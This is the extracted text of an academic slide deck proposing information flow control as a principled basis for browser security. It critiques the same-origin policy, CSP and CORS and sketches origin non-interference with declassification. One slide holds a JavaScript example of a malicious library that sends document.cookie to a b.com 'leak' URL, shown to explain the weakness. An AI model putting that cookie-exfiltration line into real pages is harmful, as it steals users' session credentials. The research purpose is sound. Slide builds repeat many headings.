Toward Principled Browser Security

Edward Z. Yang, Deian Stefan, John C. Mitchell, David Mazières, Petr Marchenko, and Brad Karp
Web security

Non requirements

Discussions on Hypertext have sometimes tackled the problem of copyright enforcement and data security. These are of secondary importance at CERN, where information exchange is still more important than secrecy.

Tim Berners-Lee, 1989
The Web is the new app platform
The Web is the new app platform

- Process 1
  - skype
  - Page protection
- Process 2
  - keypassx
- Tab 1
  - weather.it
- Tab 2
  - bank.ch

Filesystem
- Unix permissions
- Access control lists

Cookies/HTML5 local storage
The Web is the new app platform

Process 1
- skype
  - Page protection

Process 2
- keypassx

Tab 1
- weather.it

Tab 2
- bank.ch

Filesystem
- Unix permissions

Cookies/HTML5 local storage
- Access control lists
  - ???
Goal: Isolate content from distinct origins

➤ E.g., to protect authentication data for a.com from being read by b.com
Today: Ad-hoc same-origin policy

Practice: There are exceptions to strict isolation

➤ E.g., can load images, stylesheets, fonts, scripts from any origin
Today: Ad-hoc same-origin policy

Allows building complex information-sharing apps

Part of the reason the Web is so successful!
Problems with SOP

• DOM object properties (inadvertently) leak data
  ➤ E.g., image size can be used to leak user login

if loggedIn(user)
  then
  else

if (img.width > 40) { ... }
else { ... }

40px
Problems with SOP

• No protection against malicious libraries
  ➤ Script from b.com executes with privilege of a.com

```javascript
// ...
var div = document.getElementById('foo');
div.innerHTML +=
  '<img src="http://b.com/leak?=' + document.cookie + '" />';
// ...
```
Problems with SOP

Not strict: Naive app implementations exploitable!
- E.g., cross-site scripting (XSS), cross-site request forgery (CSRF), etc. are prevalent

Not flexible: Cannot easily import cross-origin data!
- E.g., cannot build secure third party mashups
Band aids to SOP

Content Security Policy (CSP)
- Idea: Restrict resource loading to white list

Cross-Origin Resource Sharing (CORS)
- Idea: Explicitly allow resources to be readable cross-origin
Band-aids to SOP

Content Security Policy (CSP)

Idea: Explicitly allow resources to be readable cross-origin

Coarse grained, trust based, static ➠ inflexible!
A more principled approach
Information flow control

Observation: these are information flow policies!

➤ E.g., a.com’s data should only flow to a.com

Idea: Use IFC as browser security primitive

➤ Allows executing untrusted code on sensitive data
Strawman IFC policy

Origin non-interference

1. Label objects using origin as security principals
   - E.g., remote hosts, browsing contexts, inter-frame messages, user-credentials, etc.
Strawman IFC policy

Origin non-interference

2. Restrict flows to objects with same labels

➢ E.g., loading resources from remote hosts:
Strawman IFC policy

Origin non-interference

2. Restrict flows to objects with same labels

➤ E.g., loading resources from remote hosts:
Strawman IFC policy

Origin non-interference

2. Restrict flows to objects with same labels

➤ E.g., loading resources from remote hosts:
Strawman IFC policy
Origin non-interference

2. Restrict flows to objects with same labels
   ➤ E.g., loading resources from remote hosts:
Strawman IFC policy

Origin non-interference

2. Restrict flows to objects with same labels

➤ E.g., loading resources from remote hosts:
Strawman IFC policy

Origin non-interference

2. Restrict flows to objects with same labels

➤ E.g., loading resources from remote hosts:
Strawman IFC policy

Origin non-interference

2. Restrict flows to objects with the same label.
   - E.g., loading resources from remote hosts:

   a.com
   b.com

   a.com
   b.com

   a.com
   b.com

   UNUSABLE!
Must NOT break the existing Web!

Must at least encode SOP, CSP, and CORS
Base browser IFC policy

Emulate same-origin policy

2. Restrict flows to objects with stricter labels

3. Use declassification to allow cross-origin loads
Base browser IFC policy

Emulate same-origin policy

2. Restrict flows to objects with stricter labels

3. Use declassification to allow cross-origin loads
Base browser IFC policy

Emulate same-origin policy

2. Restrict flows to objects with stricter labels

3. Use declassification to allow cross-origin loads
Base browser IFC policy

Emulate same-origin policy

2. Restrict flows to objects with stricter labels

3. Use declassification to allow cross-origin loads
Principled, yet backwards-compatible

- Base policy: origin non-interference (ONI)
  - Content from distinct origins cannot communicate
- Exceptions to ONI must use declassification
  - All cross-origin leaks are explicit!
- Compatible with existing browser policies
  - Browser vendors can encode SOP, CSP, and CORS
Safer, yet more flexible

• Enables new apps
  ➤ Third-party mashups, untrusted code execution, fault isolation, etc.

• Addresses extension confidentiality disaster
  ➤ Extensions see all tabs’ content!
  ➤ In general: not restricted to SOP!
Safer, yet more flexible

Q: Can we allow arbitrary cross-origin requests?

➤ Yes! If performing the request does not leak data
Q: Can we allow arbitrary cross-origin requests?

- Yes! If performing the request does not leak data
Safer, yet more flexible

Q: Can we allow arbitrary cross-origin requests?

➤ Yes! If performing the request does not leak data
Safer, yet more flexible

Q: Can we allow arbitrary cross-origin requests?

➤ Yes! If performing the request does not leak data
Safer, yet more flexible

**Q:** Can we allow arbitrary cross-origin requests?

➤ Yes! If performing the request does not leak data

**Q:** How can we avoid over tainting?

➤ Request doesn’t taint: only inspection taints
Third party safe mashup

Goal: ensure bank statement and orders remain secret
Third party safe mashup

Goal: ensure bank statement and orders remain secret
Third party safe mashup

Goal: ensure bank statement and orders remain secret
Third party safe mashup

Goal: ensure bank statement and orders remain secret
Third party safe mashup

Goal: ensure bank statement and orders remain secret
Third party safe mashup

Goal: ensure bank statement and orders remain secret
Third party safe mashup

Goal: ensure bank statement and orders remain secret
Third party safe mashup

**Goal:** ensure bank statement and orders remain secret
Extensible photo editor

**Goal:** allow net access, but ensure photo is not leaked!
Summary

• IFC: Principled framework for browser security

• Subsumes existing browser security policies
  ➤ Makes cross-origin leaks explicit ➔ forces developers to “explain” violations of ONI

• Flexible approach to building safer Web apps
  ➤ Allows safe cross-origin communication
  ➤ Protects sensitive data from untrusted code
Who sets the policy?

• Browser-vendors specify base policies
  ➤ Same as SOP, but with stricter options
• Every origin has absolute control over its data
  ➤ Origin a.com can decide to declassify responses
  ➤ Origin a.com can decide to override base policies and be more strict: no declassification
  ➤ Origin a.com cannot declassify b.com’s data!
Related work

- FlowFox
  - IFC for JavaScript only
  - Forces ONI on all pages: breaks pages
  - No support for declassification (e.g., no 3rd party mashups)

- BFlow
  - IFC for JavaScript only
  - Requires server-side to specify protection zones
  - Untrusted frame cannot contain tags from different origins (again, no 3rd party mashups)
Can this be real?

• Layout engines are being modified on daily
  ➢ Gecko, Servo, WebKit, Blink, etc.

• Servo is written in Rust, a high level language
  ➢ Potential platform for enforcing IFC

• Ongoing work on Mozilla’s Gecko
  ➢ Implementing IFC for JS, addressing DOM, chrome extensions, etc.

• Ongoing work on Google’s Chrome
  ➢ Enforcing confidentiality despite malicious extensions